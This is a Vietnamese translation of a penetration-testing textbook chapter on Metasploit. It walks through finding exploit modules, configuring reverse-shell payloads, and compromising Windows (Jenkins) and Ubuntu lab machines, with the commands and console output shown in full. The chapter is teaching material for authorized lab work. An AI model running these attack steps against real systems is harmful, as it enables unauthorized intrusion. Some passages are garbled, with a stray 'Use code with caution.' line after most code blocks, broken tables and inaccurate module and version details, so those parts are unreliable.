Chương 5: Exploit

Khả năng giành quyền kiểm soát hoàn toàn một máy mục tiêu là một cảm giác tuyệt vời, thậm chí hơi đáng sợ. Tuy nhiên, những tiến bộ trong việc bảo vệ hệ thống và mạng khiến việc khai thác trở nên khó khăn hơn, vì vậy những người kiểm tra thâm nhập phải liên tục phát triển các kỹ thuật mới. May mắn thay, các thành viên của cộng đồng bảo mật thường xuyên cập nhật Metasploit Framework, vì vậy nó đã trở thành một kho lưu trữ khai thác tuyệt vời. Chương này hướng dẫn bạn cách điều hướng và tận dụng kho lưu trữ đang mở rộng này.

Mục tiêu của chúng tôi là giúp bạn làm quen với các lệnh khác nhau có sẵn thông qua Framework, mà chúng tôi sẽ xây dựng trong các chương sau. Chúng tôi sẽ sử dụng MSFconsole để thực hiện hầu hết các cuộc tấn công, vì vậy hãy tham khảo Chương 1 và 2 nếu bạn cần xem lại nhanh.

Khai thác cơ bản

Metasploit Framework chứa hàng trăm mô-đun và gần như không thể nhớ hết tất cả. Chạy show từ MSFconsole sẽ hiển thị mọi mô-đun có sẵn trong Framework, nhưng bạn cũng có thể thu hẹp tìm kiếm của mình bằng cách chỉ hiển thị các loại mô-đun cụ thể:

  • show exploits: Hiển thị các khai thác sử dụng các lỗ hổng cụ thể để giành quyền truy cập vào máy. Các khai thác mới luôn được phát triển, vì vậy danh sách sẽ tiếp tục phát triển. Lệnh này sẽ hiển thị mọi khai thác hiện có sẵn trong Framework.
  • show auxiliary: Hiển thị các mô-đun phụ trợ trong Metasploit, có thể được sử dụng cho nhiều mục đích khác nhau. Được đề cập trong Chương 11, chúng có thể hoạt động như trình quét, mô-đun từ chối dịch vụ, fuzzer và hơn thế nữa. Lệnh này sẽ hiển thị chúng và liệt kê các tính năng của chúng.
  • show options: Hiển thị các tùy chọn kiểm soát các cài đặt khác nhau của các mô-đun Framework. Khi bạn chạy show options trong khi một mô-đun được chọn, Metasploit sẽ chỉ hiển thị các tùy chọn áp dụng cho mô-đun đó. Nếu không có mô-đun nào được chọn, việc nhập show options sẽ hiển thị các tùy chọn chung. Ví dụ: LogLevel là một trong nhiều tùy chọn chung và có thể được đặt thành một giá trị từ 0 đến 3. Ở mức 0, mức mặc định, không có thông báo nhật ký nào được hiển thị, trong khi mức 3 là mức tối đa và hiển thị tất cả các thông báo nhật ký.

Tìm kiếm khai thác

Trong giai đoạn thu thập thông tin tình báo, bạn đã lập bản đồ mạng mục tiêu của mình và quét các máy mà nó chứa. Bây giờ bạn sẽ sử dụng thông tin này để tìm kiếm trong Metasploit Framework các khai thác liên quan đến các lỗ hổng bạn đã phát hiện. Lệnh search rất hữu ích để tìm các khai thác, mô-đun phụ trợ và tải trọng cụ thể.

Tìm kiếm các khai thác gần đây nhất là một cách tuyệt vời để thu hẹp các kết quả này thành các khai thác liên quan đến các lỗ hổng mới, ít có khả năng được vá hơn. Hãy xem xét một kịch bản trong đó bạn phát hiện ra rằng một trong các máy trong mạng mục tiêu đang chạy máy chủ web Apache. Bạn có thể tìm kiếm trong kho lưu trữ Metasploit Framework các khai thác Apache bằng cách chạy lệnh sau, thay YYYY bằng năm hiện tại hoặc năm trước:

      msf6 > search name:apache type:exploit date:YYYY
    

Use code with caution.

Ba bộ lọc được sử dụng trong lệnh tìm kiếm này. Bộ lọc name tìm kiếm một trường cụ thể. Trong ví dụ này, chúng ta tìm kiếm các mô-đun chứa apache. Bộ lọc thứ hai hạn chế loại mô-đun. Ở đây, chúng ta chỉ muốn khai thác các mô-đun. Và bộ lọc cuối cùng hạn chế kết quả thành các khai thác trong một năm nhất định.

Một số trình quét lỗ hổng cũng sẽ xác định ID Lỗ hổng và Phơi nhiễm Chung (CVE). Bạn có thể lọc các mô-đun theo ID CVE cụ thể bằng bộ lọc cve. Để có danh sách đầy đủ các bộ lọc liên quan đến lệnh search, hãy chạy help search.

Hãy thử tìm kiếm các khai thác liên quan đến một số lỗ hổng mới và thú vị mà bạn đã nghe nói đến. Ví dụ: đây là các khai thác liên quan đến thư viện ghi nhật ký Java dễ bị tấn công có tên là log4j:

      msf6 > search log4j

Matching Modules
================

   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  exploit/multi/http/log4shell_header_injection  2021-12-10  excellent  Yes   Log4Shell HTTP Header Injection
   1  auxiliary/scanner/http/log4j_tester           2021-12-13  normal    No    Log4j RCE Scanner
   2  exploit/multi/http/ubiquiti_unifi_network_rce 2021-06-09  excellent  Yes   Ubiquiti UniFi Network Application Remote Code Execution
    

Use code with caution.

Có vẻ như hai mô-đun khai thác và một mô-đun trình quét liên quan đến lỗ hổng log4j có sẵn trong Metasploit. Vào thời điểm bạn đọc bài viết này, lỗ hổng log4j hy vọng sẽ được vá, nhưng các lỗ hổng mới sẽ được phát hiện.

searchsploit

Nếu chưa có mô-đun Metasploit nào cho lỗ hổng, dịch vụ hoặc ứng dụng mà bạn đang nghiên cứu, bạn cũng có thể tìm kiếm trực tiếp cơ sở dữ liệu Exploit DB từ MSFconsole bằng công cụ searchsploit:

      msf6 > searchsploit log4j
[*] exec: searchsploit log4j

Exploit Title
------------
Apache Log4j 2 - Remote Code Execution (RCE)
Apache Log4j2 2.14.1 - Information Disclosure


Shellcodes: No Results
Papers: No Results
    

Use code with caution.

Cơ sở dữ liệu này bao gồm mã bạn có thể sử dụng để thực hiện khai thác. Mỗi chương trình được gắn nhãn với một số duy nhất, chẳng hạn như 50592 trong trường hợp này. Bạn có thể xem chi tiết về khai thác này bằng cách chạy lệnh sau (cờ -p cho searchsploit biết hiển thị thông tin đường dẫn):

      msf6 > searchsploit -p 50592
[*] exec: searchsploit -p 50592

Exploit: Apache Log4j 2 - Remote Code Execution (RCE)
URL: https://www.exploit-db.com/exploits/50592
Path: /usr/share/exploitdb/exploits/java/remote/50592.py
File Type: Python script, ASCII text executable
    

Use code with caution.

Kết quả bao gồm URL mà bạn có thể tìm thấy mã khai thác và đường dẫn đến mã khai thác trên hệ thống. Điều quan trọng cần lưu ý là các chương trình này phải được chạy bên ngoài Metasploit Framework, nhưng searchsploit là một lựa chọn tuyệt vời nếu bạn không thể tìm thấy mô-đun trong Metasploit.

info

Trước khi chạy khai thác, bạn nên tìm hiểu cách thức hoạt động của nó. Khi mô tả ngắn gọn về mô-đun được cung cấp bởi các lệnh show và search không đủ, hãy sử dụng lệnh info theo sau là tên của mô-đun để hiển thị tất cả thông tin, tùy chọn và mục tiêu có sẵn cho mô-đun đó:

      msf6 > info exploit/multi/http/log4shell_header_injection
    

Use code with caution.

Bạn sẽ thấy một bảng thông tin mô tả mô-đun. Hãy xem một số phần quan trọng của bảng này cho khai thác Log4Shell HTTP Header Injection:

      Name: Log4Shell HTTP Header Injection
Module: exploit/multi/http/log4shell_header_injection
Platform:
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Provided by:
   Michael Schierl
   juan vazquez
   sinn3r
   Spencer McIntyre
   RageLtMan
    

Use code with caution.

Nhãn platform liệt kê các hệ điều hành có thể bị tấn công bằng khai thác, chẳng hạn như Windows, Linux và Android. Ở đây, tùy chọn này được để trống vì nhà phát triển mô-đun không chỉ định giới hạn đối với các nền tảng mà khai thác có thể nhắm mục tiêu. Nhãn arch chỉ định kiến ​​trúc chip được yêu cầu bởi mô-đun. Tùy chọn này cũng để trống ở đây; khai thác nhắm mục tiêu lỗ hổng trong thư viện Java chạy trên nhiều nền tảng và kiến ​​trúc.

Nhãn privileged cho biết liệu mô-đun có yêu cầu hoặc cấp quyền truy cập đặc quyền hay không. Các mô-đun cung cấp quyền truy cập đặc quyền rất có giá trị vì chúng cung cấp cho bạn quyền cấp root trên máy mục tiêu. Với quyền root, bạn có thể thay đổi mật khẩu, truy cập tài khoản người dùng và cài đặt phần mềm độc hại tinh vi như rootkit và bootkit. Tuy nhiên, lưu ý rằng mô-đun này không cung cấp quyền truy cập đặc quyền. Trong Chương 6, chúng ta sẽ thảo luận về cách bạn có thể leo thang đặc quyền của mình sau khi bạn đã có quyền truy cập vào máy.

Xếp hạng là thước đo độ tin cậy của mô-đun. Hướng tới sử dụng các mô-đun có xếp hạng cao nhất, Excellent. Các mô-đun được xếp hạng này không bao giờ được làm sập dịch vụ và không được làm hỏng bộ nhớ. Tránh các mô-đun có xếp hạng Thấp hoặc Thủ công vì các mô-đun này hiếm khi thành công và đôi khi yêu cầu bạn định cấu hình thủ công. Tuy nhiên, có thể có những trường hợp khi đây là những khai thác duy nhất có sẵn cho một phiên bản phần mềm cụ thể.

Phần Provided By liệt kê thông tin liên hệ của tác giả mô-đun. Trong Chương 12, 13 và 14, chúng ta sẽ thảo luận về cách viết mô-đun Metasploit. Ai biết được? Bạn có thể tìm thấy tên của mình trên một trong những mô-đun này trong tương lai.

Phần tác dụng phụ của mô-đun rất quan trọng, vì việc chạy mô-đun trên hệ thống có thể để lại dấu vết. Trong ví dụ này, các chỉ số xâm nhập (IoC) có thể được tìm thấy trong nhật ký, có khả năng cho phép quản trị viên hệ thống truy tìm cuộc tấn công trở lại bạn. Tốt nhất là nên có ít tác dụng phụ hơn nếu chúng ta muốn duy trì bí mật. Chúng ta cũng muốn mô-đun ổn định và đáng tin cậy, vì vậy hãy chú ý đến các phần này:

      Module side effects:
ioc-in-logs

Module stability:
crash-safe

Module reliability:
repeatable-session

Available targets:
Id  Name
--  ----
0   Automatic
1   Windows
2   Linux
    

Use code with caution.

Danh sách các mục tiêu khả dụng hiển thị các hệ thống có thể dễ bị tấn công bởi khai thác. Chúng ta sẽ thảo luận về điều này chi tiết hơn trong phần tiếp theo. Phần mô tả cung cấp một mô tả ngắn gọn về mô-đun và lỗ hổng liên quan.

Một trong những phần yêu thích của chúng tôi là tài liệu tham khảo. Phần này thường chứa một tập hợp các liên kết mà bạn có thể đọc thêm về lỗ hổng hoặc khai thác. Cuối cùng, phần các mô-đun liên quan liệt kê các mô-đun liên quan đến mô-đun hiện tại. Đây là một nơi tuyệt vời để tìm các khai thác hoặc trình quét bổ sung.

Chọn khai thác

Vì vậy, bạn đã thực hiện nghiên cứu của mình và tìm thấy một mô-đun khai thác dịch vụ trong mạng mục tiêu của bạn. Chọn mô-đun bằng cách nhập lệnh use theo sau là đường dẫn của mô-đun:

      msf6 > use exploit/multi/http/log4shell_header_injection
    

Use code with caution.

Lưu ý rằng khi bạn đưa ra lệnh, dấu nhắc msf thay đổi như sau:

      msf6 exploit(multi/http/log4shell_header_injection) >
    

Use code with caution.

Điều này cho biết rằng bạn đã chọn mô-đun log4shell_header_injection và các lệnh tiếp theo được đưa ra tại dấu nhắc này sẽ được thực hiện trong khai thác đó.

Bạn có thể chạy search hoặc use bất kỳ lúc nào trong khai thác để chuyển sang khai thác hoặc mô-đun khác. Bạn cũng có thể đưa ra lệnh back để quay lại một cấp khi đang ở trong mô-đun:

      msf6 exploit(multi/http/log4shell_header_injection) > back
msf6 >
    

Use code with caution.

Với dấu nhắc phản ánh mô-đun bạn đã chọn, hãy nhập lệnh sau để hiển thị các tùy chọn dành riêng cho khai thác log4shell_header_injection:

      msf6 exploit(multi/http/log4shell_header_injection) > show options
    

Use code with caution.

      Module options (exploit/multi/http/log4shell_header_injection):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   HTTP_HEADER                    no        The HTTP header to inject the payload into
   HTTP_METHOD    GET              yes       The HTTP method to use
   HTTP_SRVPORT   8080             yes       The HTTP server port
   LDIF_FILE                       no        Directory LDIF file to use with RMI attack
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT           80              yes       The target port (TCP)
   SRVHOST         0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or subnet
   SRVPORT         389             yes       The local port to listen on.
   SSL             false           no        Negotiate SSL for outgoing connections
   TARGETURI       /               yes       The URI to scan.
   URIPATH                          no        The URI to use for the check.
   VHOST                           no        HTTP server virtual host

Payload options (java/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address
   LPORT  4444             yes       The listen port
    

Use code with caution.

Cách tiếp cận theo ngữ cảnh này để truy cập các tùy chọn giúp đơn giản hóa giao diện và cho phép bạn tập trung vào những tùy chọn quan trọng trong ngữ cảnh.

show payloads

Nhớ lại từ Chương 2 rằng tải trọng là các phần mã dành riêng cho nền tảng được phân phối đến mục tiêu. Trong trường hợp khai thác dựa trên Windows, các tải trọng này có thể đơn giản như dấu nhắc lệnh được khởi chạy trên mục tiêu. Để xem danh sách tải trọng đang hoạt động, hãy chạy lệnh sau:

      msf6 > show payloads
    

Use code with caution.

Điều này hiển thị cho bạn tất cả các tải trọng có sẵn trong Metasploit. Tuy nhiên, nếu bạn chạy cùng một lệnh trong mô-đun khai thác, bạn sẽ chỉ thấy các tải trọng áp dụng cho khai thác đó. Hãy tìm tải trọng cho mô-đun log4shell_header_injection:

      msf6 exploit(multi/http/log4shell_header_injection) > show payloads

Compatible Payloads
====================

   Name                             Disclosure Date  Rank     Check  Description
   ----                             ---------------  ----     -----  -----------
   java/meterpreter/reverse_http    2015-09-18       excellent  Yes   Java Meterpreter, Reverse HTTP Stager (via HTTPS)
   java/meterpreter/reverse_https   2015-09-18       excellent  Yes   Java Meterpreter, Reverse HTTPS Stager
   java/meterpreter/reverse_tcp     2015-09-18       excellent  Yes   Java Meterpreter, Reverse TCP Stager
   cmd/unix/reverse_bash            2019-01-18       excellent  Yes   Unix Command Shell, Reverse Bash (via HTTP)
   cmd/unix/reverse_netcat          2019-01-18       excellent  Yes   Unix Command Shell, Reverse Netcat (via HTTP)
   cmd/unix/reverse_perl            2019-01-18       excellent  Yes   Unix Command Shell, Reverse Perl (via HTTP)
   cmd/unix/reverse_python         2019-01-18       excellent  Yes   Unix Command Shell, Reverse Python (via HTTP)
    

Use code with caution.

Hãy chọn tải trọng của bạn một cách cẩn thận. Mã bạn chọn phải có thể chạy trong môi trường mục tiêu. Ví dụ: nếu máy mục tiêu đang chạy Windows, hãy chọn tải trọng mà Windows hỗ trợ.

Chúng ta có thể sử dụng lệnh set để đặt tải trọng của mình. Ở đây, chúng tôi sử dụng một cái chạy trong môi trường Java. Chúng ta biết mục tiêu hỗ trợ Java vì chúng ta đang khai thác thư viện Java:

      msf6 exploit(multi/http/log4shell_header_injection) > set PAYLOAD java/meterpreter/reverse_https
PAYLOAD => java/meterpreter/reverse_https
    

Use code with caution.

Tải trọng shell ngược này sẽ kết nối với máy tấn công trên một địa chỉ IP cụ thể bằng cách khiến máy mục tiêu bắt đầu kết nối. Nói cách khác, thay vì máy tấn công kết nối với mục tiêu, mục tiêu sẽ kết nối với kẻ tấn công. Bạn có thể sử dụng kỹ thuật này để vượt qua tường lửa hoặc cài đặt NAT, có thể chặn các yêu cầu kết nối đáng ngờ đến từ bên ngoài mạng.

Nếu bạn chạy lại show options, bạn sẽ nhận thấy rằng mô-đun này khuyến nghị tải trọng mà chúng ta đã chọn:

      msf6 exploit(multi/http/log4shell_header_injection) > show options

Module options (exploit/multi/http/log4shell_header_injection):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   HTTP_HEADER                    no        The HTTP header to inject the payload into
   HTTP_METHOD    GET              yes       The HTTP method to use
   HTTP_SRVPORT   8080             yes       The HTTP server port
   LDIF_FILE                       no        Directory LDIF file to use with RMI attack
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT           80              yes       The target port (TCP)
   SRVHOST         0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or subnet
   SRVPORT         389             yes       The local port to listen on.
   SSL             false           no        Negotiate SSL for outgoing connections
   TARGETURI       /               yes       The URI to scan.
   URIPATH                          no        The URI to use for the check.
   VHOST                           no        HTTP server virtual host

Payload options (java/meterpreter/reverse_https):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address
   LPORT  4444             yes       The listen port
   LURI    /               no        The HTTP Path
   SSL     true            no        Negotiate SSL/TLS for outgoing connections
   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
    

Use code with caution.

Bây giờ chúng ta được trình bày với các tùy chọn bổ sung trong phần tải trọng, chẳng hạn như LHOST và LPORT. Chúng ta sẽ đặt cả hai tùy chọn LHOST và LPORT. LHOST sẽ được đặt thành địa chỉ IP của máy tấn công của chúng ta:

      msf6 exploit(multi/http/log4shell_header_injection) > set LHOST
    

Use code with caution.

Chúng ta sẽ để LPORT ở cổng mặc định (4444). Tuy nhiên, bạn có thể thay đổi điều này thành cổng thường được sử dụng cho TCP, 443, nếu bạn muốn lén lút hơn.

show targets

Các mô-đun thường liệt kê các mục tiêu tiềm năng dễ bị tấn công. Ví dụ: sử dụng lệnh show targets tại dấu nhắc msf log4shell_header_injection sẽ hiển thị danh sách ba mục tiêu khai thác:

      msf6 exploit(multi/http/log4shell_header_injection) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic
   1   Windows
   2   Linux
    

Use code with caution.

Bạn có thể thấy rằng khai thác liệt kê mục tiêu tự động là một tùy chọn. Nếu điều này được chọn, mô-đun sẽ cố gắng chọn khai thác dựa trên các phiên bản dịch vụ và hệ điều hành mà bạn đang nhắm mục tiêu. Tuy nhiên, thường tốt nhất là bạn nên tự xác định khai thác thích hợp. Đôi khi phát hiện tự động sẽ không hoạt động và thậm chí có thể gây ra sự cố.

set và unset

Tất cả các tùy chọn cho một mô-đun Metasploit nhất định phải được đặt nếu chúng được đánh dấu là bắt buộc hoặc có. Sử dụng lệnh set để đặt tùy chọn; sử dụng unset để tắt cài đặt. Ví dụ sau hiển thị các lệnh set và unset đang được sử dụng:

      msf6 exploit(multi/http/log4shell_header_injection) > set LHOST 192.168.1.1
LHOST => 192.168.1.1
msf6 exploit(multi/http/log4shell_header_injection) > unset LHOST
Unsetting LHOST...
LHOST =>
    

Use code with caution.

Lưu ý rằng các biến được tham chiếu bằng các ký tự in hoa. Điều này không bắt buộc, nhưng nó được coi là một thực tiễn tốt nhất.

Chúng ta đã đặt địa chỉ IP mục tiêu (LHOST) thành địa chỉ IP của máy sẽ khai thác. Chạy show options xác nhận rằng các cài đặt của chúng ta đã được điền.

setg và unsetg

Các lệnh setg và unsetg đặt hoặc bỏ đặt một tham số trên toàn cầu trong MSFconsole. Sử dụng các lệnh này có thể giúp bạn không phải nhập lại cùng một thông tin lặp đi lặp lại, đặc biệt là trong trường hợp các tùy chọn thường được sử dụng hiếm khi thay đổi, chẳng hạn như LHOST:

      msf6 > setg LHOST 192.168.1.1
LHOST => 192.168.1.1
    

Use code with caution.

Trong ví dụ này, chúng ta đặt địa chỉ IP của máy chủ lắng nghe.

save

Sau khi đã cấu hình các tùy chọn chung bằng lệnh setg, hãy sử dụng lệnh save để lưu cài đặt hiện tại của bạn để chúng sẽ có sẵn vào lần tiếp theo bạn chạy bảng điều khiển. Bạn có thể nhập lệnh save bất kỳ lúc nào trong Metasploit để lưu vị trí hiện tại của bạn:

      msf6 exploit(multi/http/log4shell_header_injection) > save
Saved configuration to: /home/kali/.msf6/config
msf6 exploit(multi/http/log4shell_header_injection) >
    

Use code with caution.

Vị trí mà cấu hình được lưu trữ, /home/kali/.msf6/config, được hiển thị trên màn hình. Nếu vì lý do nào đó bạn cần bắt đầu lại, hãy di chuyển hoặc xóa tệp này để hoàn nguyên về cài đặt mặc định.

exploit

Sau khi bạn đã cấu hình mô-đun, hãy sử dụng lệnh exploit hoặc run, khởi chạy mô-đun và bắt đầu quy trình khai thác. Mã trong mô-đun sẽ không chạy cho đến khi bạn thực hiện lệnh này.

Khai thác máy Windows

Bây giờ bạn đã biết những điều cơ bản, bao gồm cách đặt biến trong MSFconsole, chúng ta sẽ sử dụng Metasploit từ trong Kali Linux để khai thác máy chủ Windows mà bạn đã thiết lập trong Phụ lục A. Khởi động máy chủ đó bằng cách làm theo hướng dẫn trong phụ lục đó. Sau đó, trong Kali, hãy bắt đầu bằng cách chạy nmap từ Metasploit:

      kali@kali:~$ sudo msfconsole -q
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
msf6 > nmap -sT -Pn -A 192.168.1.102 -Pn --script vulners
    

Use code with caution.

Cờ -sT thực hiện kết nối TCP lén lút, mà chúng tôi thấy là tùy chọn đáng tin cậy nhất để liệt kê các cổng. (Những người khác thích -sS hoặc quét SYN lén lút.) Cờ -A thực hiện phát hiện hệ điều hành nâng cao, bao gồm một số lần lấy banner bổ sung và nhận dạng các dịch vụ cụ thể.

Khi kỹ năng của bạn với tư cách là người kiểm tra thâm nhập được cải thiện, việc phát hiện ra một số cổng mở nhất định sẽ kích hoạt ý tưởng về cách bạn có thể khai thác một dịch vụ cụ thể. Thông thường, các hệ thống chỉ chạy một vài ứng dụng, nhưng máy ảo mà bạn sẽ khai thác ở đây đã được thiết kế để bao gồm một số dịch vụ dễ bị tấn công. Hãy tìm kiếm trong Metasploit một mô-đun mà chúng ta có thể sử dụng để khai thác một trong những ứng dụng này.

Trong một kịch bản thực tế, bạn nên nghiên cứu từng dịch vụ để kiểm tra xem nó có dễ bị tấn công hay không. Hiện tại, chúng ta hãy tập trung vào ứng dụng đang chạy trên cổng 8484. Lưu ý rằng cổng này được liên kết với máy chủ Jenkins. Máy chủ Jenkins giúp các nhà phát triển phần mềm tự động hóa quá trình xây dựng và kiểm tra phần mềm của họ và có thể được tìm thấy chạy trên các máy chủ bên trong một số công ty phát triển phần mềm.

Hãy tìm kiếm trong khung Metasploit một khai thác có liên quan:

      msf6 > search jenkins type:exploit platform:windows

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/multi/http/jenkins_cli_java_deserialize  2019-02-13  excellent  No    Jenkins CLI Java Deserialization RCE
   1  exploit/windows/local/jenkins_service_manager_deserialize 2022-11-16  excellent  Yes   Jenkins Service Manager Deserialization Privilege Escalation
   2  exploit/multi/http/jenkins_script_console   2018-04-17  good       Yes   Jenkins Script Console Java Execution
    

Use code with caution.

Mỗi khai thác được thiết kế cho một phiên bản và cấu hình cụ thể của ứng dụng. Dành chút thời gian để đọc về từng cái để xác định cái nào là tốt nhất cho kịch bản tấn công của bạn. Ví dụ: giả sử chúng ta đã mắc lỗi trong nghiên cứu của mình và do đó, đã chọn sai mô-đun khai thác; chúng ta đã chọn khai thác 0, nhưng nó không hoạt động và chúng ta nhận được thông báo sau:

      [*] Started reverse TCP handler on 192.168.1.101:4444
[*] Exploit completed, but no session was created.
    

Use code with caution.

Thông báo cho chúng ta biết rằng Metasploit đã khởi động trình xử lý và đợi trên kết nối cho shell ngược. Tuy nhiên, sau khi hoàn thành các bước liên quan đến khai thác, nó không thể tạo phiên và kết nối với tải trọng. Các mô-đun không thành công vì phiên bản và cấu hình của ứng dụng không dễ bị tấn công bởi khai thác đó.

Exploit 2 hoạt động cho phiên bản và cấu hình của Jenkins đang chạy trên máy chủ Windows. Khi mô-đun khai thác hoàn tất, chúng ta sẽ có thể thực thi từ xa các lệnh trong thiết bị đầu cuối của máy mục tiêu. Nhập lệnh use để chọn khai thác 2 và sử dụng lệnh set để định cấu hình các tùy chọn thích hợp. Đảm bảo rằng bạn đặt tất cả các tùy chọn bắt buộc, như được hiển thị ở đây:

      msf6 > use 2
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/http/jenkins_script_console) > show options

Module options (multi/http/jenkins_script_console):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   API_TOKEN                      no        The API token for the user
   PASSWORD                       no        The password for the user
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT       8080             yes       The target port (TCP)
   SRVHOST         0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or subnet
   SRVPORT         8080             yes       The local port to listen on.
   SSL             false           no        Negotiate SSL/TLS for outgoing connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI       /               yes       The path to the Jenkins instance
   URIPATH                          no        The URI to use for the authentication request (default is /j_acegi_security_check)
   USERNAME                       no        The username to authenticate as
   VHOST                           no        HTTP server virtual host

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC   thread           yes       Exit technique (Accepted: '', seh, thread , process, none)
   LHOST                       yes       The listen address
   LPORT      4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows
    

Use code with caution.

Tuyệt vời, bạn đã đặt các tùy chọn. Bây giờ hãy chạy lệnh sau để tấn công mục tiêu. Nếu cuộc tấn công thành công, Metasploit sẽ cung cấp cho bạn shell Meterpreter reverse_tcp:

      msf6 exploit(multi/http/jenkins_script_console) > exploit

[*] Started reverse TCP handler on 192.168.1.101:4444
[*] Sending stager payload to 192.168.1.102:8080
[*] Command stager progress: 95.02% done (94662/99626 bytes)
[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.102:49269)

meterpreter >
    

Use code with caution.

Meterpreter là một công cụ khai thác sau mà chúng ta sẽ sử dụng trong suốt cuốn sách này. Một trong những công cụ hàng đầu của Metasploit, nó giúp việc trích xuất thông tin hoặc xâm nhập thêm hệ thống dễ dàng hơn đáng kể. Khi bạn có shell Meterpreter, hãy thử chạy một số lệnh trong đó.

Đầu tiên, chúng ta chạy lệnh dir để liệt kê nội dung của thư mục hiện tại. Điều này cung cấp một số ngữ cảnh liên quan đến nơi chương trình đang chạy. Ở đây, chúng ta có thể thấy rằng chương trình đang chạy trong thư mục Jenkins Scripts. Sau đó, chúng ta sử dụng lệnh shell để truy cập thiết bị đầu cuối của mục tiêu và lệnh whoami để tìm ra đặc quyền người dùng bạn có:

      meterpreter > shell
Process 4328 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Program Files (x86)\Jenkins\scripts>whoami
whoami
nt authority\system

C:\Program Files (x86)\Jenkins\scripts>
    

Use code with caution.

Xin chúc mừng! Bạn vừa xâm nhập thành công máy đầu tiên của mình.

Để liệt kê các lệnh có sẵn cho một khai thác cụ thể, hãy nhập show options.

Khai thác máy Ubuntu

Hãy thử một khai thác khác trên máy Ubuntu trong lab ảo mà chúng tôi đã thiết lập trong Phụ lục A. Khởi động máy đó ngay bây giờ, sau đó quay lại Kali. Bạn sẽ thấy rằng các bước khá giống với khai thác trước đó, ngoại trừ việc chúng ta sẽ chọn một tải trọng khác và khai thác một lỗ hổng khác. Một lần nữa, chúng ta bắt đầu bằng cách quét máy để tìm bất kỳ cổng mở nào:

      msf6 > nmap -sT -A 192.168.1.101
[*] exec: nmap -sT -A -Pn 192.168.1.101
Starting Nmap 9.00 ( https://nmap.org ) at 2024-04-13 01:12 PST
Nmap scan report for 192.168.1.101
Host is up (0.00033s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 1001     1001         4096 Jul 24  2011 pub
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 86:78:21:32:f5:90:45:c5:32:77:e9:04:47:03:af:d0 (RSA)
|   256 3f:cf:2f:92:d4:75:83:34:8f:55:fa:6e:7f:02:8a:63 (ECDSA)
|_  256 97:e9:7a:c1:6f:8d:9f:73:76:07:aa:ca:11:fd:14:0b (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Index of /
| http-methods:
|_  Potentially risky methods: TRACE
|_http-robots.txt: 1 disallowed entry
MAC Address: 08:00:27:FC:39:F1 (Cadmus Computer Systems)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: metasploitable
|   NetBIOS computer name: METASPLOITABLE\x00
|   Domain name: workgroup
|   FQDN: metasploitable.workgroup
|_  System time: 2024-04-13 04:12:35 UTC+3
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE (using port 443/tcp)
HOP RTT       ADDRESS
1   0.29 ms    192.16
    

Nmap done: 1 IP address (1 host up) scanned in 20.70 seconds

      Từ kết quả quét, lưu ý rằng có một máy chủ web Apache đang chạy trên cổng 80. Chúng ta cũng thấy rằng máy chủ Apache đang phục vụ một ứng dụng trò chuyện và Drupal. Drupal là một hệ thống quản lý nội dung phổ biến, vì vậy có khả năng có các khai thác được viết cho nó. Hãy tìm kiếm một số khai thác Drupal. Chúng ta sẽ sử dụng các bộ lọc mà chúng ta đã thảo luận trong chương trước để thu hẹp kết quả của mình:
    

Use code with caution.

msf6 > search type:exploit platform:unix rank:excellent

Matching Modules

Name Disclosure Date Rank Check Description


0 exploit/unix/webapp/drupal_coder_exec 2018-03-28 excellent Yes Drupal Code Execution
1 exploit/unix/webapp/drupal_drupalgeddon2 2018-03-21 excellent Yes Drupal Drupalgeddon2 SQL Injection
2 exploit/multi/http/php_xmlrpc_eval 2018-11-06 excellent Yes PHP XML-RPC Arbitrary Code Execution

